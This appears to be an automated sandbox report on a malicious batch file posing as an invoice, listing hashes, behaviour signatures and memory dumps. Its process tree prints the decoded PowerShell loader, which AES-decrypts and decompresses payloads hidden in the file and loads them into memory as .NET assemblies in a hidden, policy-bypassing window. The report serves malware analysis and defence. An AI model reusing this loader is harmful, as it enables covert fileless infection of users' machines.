Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    04-06-2024 01:39

General

  • Target

    INVOICE07.bat

  • Size

    540KB

  • MD5

    1952a79579272db52a814baf57821f90

  • SHA1

    3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3

  • SHA256

    e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1

  • SHA512

    088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93

  • SSDEEP

    12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:2976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:2988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2992

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2992-4-0x000007FEF5DBE000-0x000007FEF5DBF000-memory.dmp

        Filesize

        4KB

      • memory/2992-5-0x000000001B590000-0x000000001B872000-memory.dmp

        Filesize

        2.9MB

      • memory/2992-7-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

        Filesize

        9.6MB

      • memory/2992-6-0x00000000028F0000-0x00000000028F8000-memory.dmp

        Filesize

        32KB

      • memory/2992-8-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

        Filesize

        9.6MB

      • memory/2992-9-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

        Filesize

        9.6MB

      • memory/2992-10-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

        Filesize

        9.6MB

      • memory/2992-11-0x000007FEF5DBE000-0x000007FEF5DBF000-memory.dmp

        Filesize

        4KB